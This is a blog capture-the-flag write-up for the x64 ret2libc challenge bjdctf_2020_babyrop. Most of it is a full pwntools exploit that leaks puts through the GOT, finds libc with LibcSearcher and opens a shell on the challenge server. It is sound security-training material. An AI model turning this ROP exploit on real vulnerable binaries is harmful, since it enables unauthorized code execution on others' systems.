首页 > 其他分享 >pwn | bjdctf_2020_babyrop

pwn | bjdctf_2020_babyrop

时间:2022-11-26 16:24:51浏览次数:42  
标签:babyrop p64 puts 2020 bjdctf pwn

pwn | bjdctf_2020_babyrop

x64 ret2libc
常规题
注意调用约定即可

exp:

from pwn import *
from LibcSearcher.LibcSearcher import *

import struct
context.log_level = 'debug'

elf = ELF('./bjdctf_2020_babyrop')

p_plt_puts = elf.plt['puts']
p_got_puts = elf.got['puts']   # leak the addr of puts()
p_main = 0x00000000004006AD
p_poprdi_ret = 0x0000000000400733 


# p = process('./bjdctf_2020_babyrop')
p = remote('node4.buuoj.cn', 25974)


p.recvuntil('story!\n')

# rubbish + poprdiret + (arg to pop) + retaddr + retaddr_of_puts + arg1
payload = b'A' * (0x20+8) + p64(p_poprdi_ret) + p64(p_got_puts) + p64(p_plt_puts) + p64(p_main)

p.sendline(payload)

# recv addr of puts
_tmp = p.recvuntil('\n')[:-1]
print(_tmp)
p_libc_puts = struct.unpack('<Q', _tmp.ljust(8, b'\x00'))[0]
print(hex(p_libc_puts))

libc = LibcSearcher('puts', p_libc_puts)
p_libc_base = p_libc_puts - libc.dump('puts')
p_libc_binsh = p_libc_base + libc.dump('str_bin_sh')
p_libc_system = p_libc_base + libc.dump('system')

p.recvuntil('story!\n')

payload = b'A' * (0x20+8) + p64(p_poprdi_ret) + p64(p_libc_binsh) + p64(p_libc_system)
p.sendline(payload)


p.interactive()

标签:babyrop,p64,puts,2020,bjdctf,pwn
From: https://www.cnblogs.com/Mz1-rc/p/16927628.html

相关文章

  • pwn | bjdctf_2020_babystack2
    pwn|bjdctf_2020_babystack2ret2text一个整数判断,比较的时候是int,传进read当参数的时候是unsignedint,输入负数就能绕过。然后跳转到后门函数就行了。怪没意思的,直......
  • pwn | 铁人三项(第五赛区)_2018_rop
    pwn|铁人三项(第五赛区)_2018_ropret2libc好久没整pwn题了,ret2libc整了好久才打通==vulnerablefunction里面存在栈溢出,只开了nx保护。libc的版本是2.27再整理一......
  • 《Learning to Resolve Alliance Dilemmas in Many-Player Zero-Sum Games》 2020-AAM
    学习解决多人零和博弈中的联盟困境总结:将两人的零和博弈扩展到多人零和博弈,并将多人零和博弈中的联盟问题转为社会困境问题用基于强化学习的方法进行解决。先是说明了一......
  • 重构即将完成!2020版React Native会有多大改善?
    全文共1601字,预计学习时长6分钟图源:unsplash2015年,ReactNative被首次推出,使用ReactJS框架开发原生跨平台应用程序。该框架获得了社区的大力支持,并凭借其Web同行的......
  • AT_hitachi2020_c ThREE
    AT_hitachi2020_cThREE简单构造题,考虑题目给个限制,那么就是不能存在\(i,j\),\(i\)到\(j\)的距离为\(3\)且\(p_i\equivp_j\pmod3\)且\(p_i,p_j\)不为\(3\)的倍数。......
  • [NEFU ACM] 2020级暑期训练 解题报告
    [NEFUACM]2020级暑期训练解题报告Author:2020-计6-zslID:FishingRod阅读须知需求指向:NEFU2020级ACM暑期训练参与人员解题报告博客偏向题解代码展示,解题视频偏向思路讲解......
  • Waves Complete 11 for Mac(Waves全套混音插件包) v2020.11.12 完美激活版
    WavesCompleteformac是一款强大的音乐创作工具,含有各种混音插件,从运行速度到插件调用,性能和速度都大大提升,从混响,压缩,降噪和EQ到模拟硬件,环绕和后期制作工具,深受艺术家们......
  • pwn | others_shellcode
    pwn|others_shellcodebuu的题目,nc直接给shell......
  • 2020软考高级系统分析师,你想知道的全在这
    2020年准备参加软考获取高级职业技术资格认证的小伙伴咱们约起吧?!去年刚参加完嵌入式系统设计师考试,并以高分通过,这里给自己点个赞!自这篇发表之后有很多致力于嵌入式开发的小......
  • [复现]陇原战"疫"2021网络安全大赛-PWN
    bbbaby控制__stack_chk_fail,栈溢出frompwnimport*context.os='linux'context.log_level="debug"context.arch='amd64'p=process('./pwn1')#,env={"LD_......